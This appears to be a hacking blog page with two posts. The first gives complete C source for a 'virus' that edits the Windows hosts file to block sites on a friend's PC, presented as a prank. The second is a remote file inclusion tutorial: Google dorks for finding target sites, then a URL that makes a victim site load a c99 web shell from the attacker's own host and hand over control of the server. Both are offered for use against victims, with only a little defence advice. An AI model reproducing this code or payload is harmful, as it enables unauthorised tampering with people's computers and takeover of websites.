Hack'a'Holic : Decrypting Encrypted Ideas: WEBSITE HACKING

Showing posts with label WEBSITE HACKING. Show all posts

Prank your Friend : Block Websites on his PC Virus

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the Source Code of the virus :

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)

%windir%\system32\drivers\etc

6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

7. Delete all such entries which contain the names of blocked sites.

Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Firefox, Viruses - Trojans, WEBSITE HACKING, Windows | 1 Comments

WEBSITE HACKING: REMOTE FILE INCLUSION

REMOTE FILE INCLUSION (RFI)

Remote file inclusion (RFI) is a very common vulnerability found in most of the websites. Remote file inclusion allows the attacker to upload a script or malicious code in a website or server. Using this attack, we can exploit"dynamic file include" mechanisms in web applications. when web applications take user input(such as url, parameter values etc) and pass them into file include commands, the website can be tricked into including remote files with malicious code.using RFI you can deface the vulnerable websites, get access to the server or even you can manipulate of the response sent to the client of the website. For example you can embed a JavaScript code to steal the client cookie session.

PHP is particularly vulnerable to RFI attacks due to the extensive use of "file includes" in PHP programming. The vulnerability mainly relies on the PHP include () function. So you need to know some basic php concepts for better understanding of this attack. A include() function is used to include or evaluate a specified file. Actually the php code responsible for this vulnerability will be in a format similar as stated below:

Thus If this isn't coded properly, the script doesn't check where the file is coming from and so an inclusion from another site will be accepted and run on the server. This means that a text file containing PHP script can be hosted on another site but run on the site being targeted.

Performing a RFI attack

1. First step is to find the vulnerable website

Remote File inclusion vulnerability usually occur in those sites which have a navigation similar to this:

www.victimwebsite.com/index.php?page=something

To find a vulnerable website, we will use Google dorks :

Go to google, and type the following:

Inurl:index.php?file=something

Inurl:index.php?page=something

Inurl:index.php?open=something

There are many more dorks for finding RFI vulnerable websites.

At the end you will find numerous websites similar to the address stated above. But remember, these are sites which may be prone to RFI attack. We have to check further that whether they are vulnerable or not.

So go to a particular website in which you want to test RFI attack . for example if your website’s url is: www.victimwebsite.com/index.php?file=anything

Replace the red colour text with http://google.com, so that the url of the target website would be same as: www.victimwebsite.com/index.php?file=http://google.com

Now as soon as you press enter,if google homepage is there in the website, it means the website is vulnerable to RFI attack.

EXPLOITING RFI VULNERABILITY

2. Now lets look how we can exploit RFI vulnerability .

This is where the concept of web shells come in. A web shell is a script that can handle simple tasks such as uploading, deleting and executing commands. The most common shell being the c99 but others are available such as the r57 and c100. This basically means that if you get a web shell to execute on an unprotected site, you will have full control over that site - and will be able to upload or delete any file you wish.

We will use c99 webshell to deploy our attack, you can download the c99 webshell from the link below:

C99 download link

Now you need to upload this webshell as a text file in your own website(attacker’s website) or in any webhost. After uploading if your url would be: www.mysite.com/c99.txt, then all you do is to simply put this link at the end of your vulnerable site. Thus the final string that will run the webshell is:

http://www.victimwebsite.com/index.php?file=http://www.mysite.com/c99.txt?

Note: the question mark should be at the end.

This will execute in the php as
include('http://www.site.com/c99.txt'); which includes the web shells script in the page.

Now if you succeds to run the web shell in vulnerable website, you will see a screen similar as below:

The shell will display information about the remote server and list all the files and directories on it. Now you are inside the website and you can do anything with it.

PROTECTION AGAINST RFI

If you still want to use index.php?file=, then use “switch” statement that defines the page before hand. A secure php code would be as below:

Or the best way is simply make sure that you are using up-to-date scripts, and make sure your server php.ini file has register_globals and allow_url_fopen disabled.

I personally don’t prefer any tool for penetration testing, but if you want to use a tool for RFI attack then,A tool called FIMAP is used to exploit Remote file inclusion. This is scripted in python language.

http://code.google.com/p/fimap/

download the tool:

http://code.google.com/p/fimap/downloads/list

Sources: security papers from: www.exploit-db.com

http://en.wikipedia.org/wiki/Remote_file_inclusion

www.corelan.be

image source: www.hackforums.net

Well, that’s the end of the tutorial. Hope you have learnt something from this post. Your feedback will be useful for us.

!!!!ENJOY HACKING!!!

Posted by: DR34MHAXX

posted under Hacking, WEBSITE HACKING | 3 Comments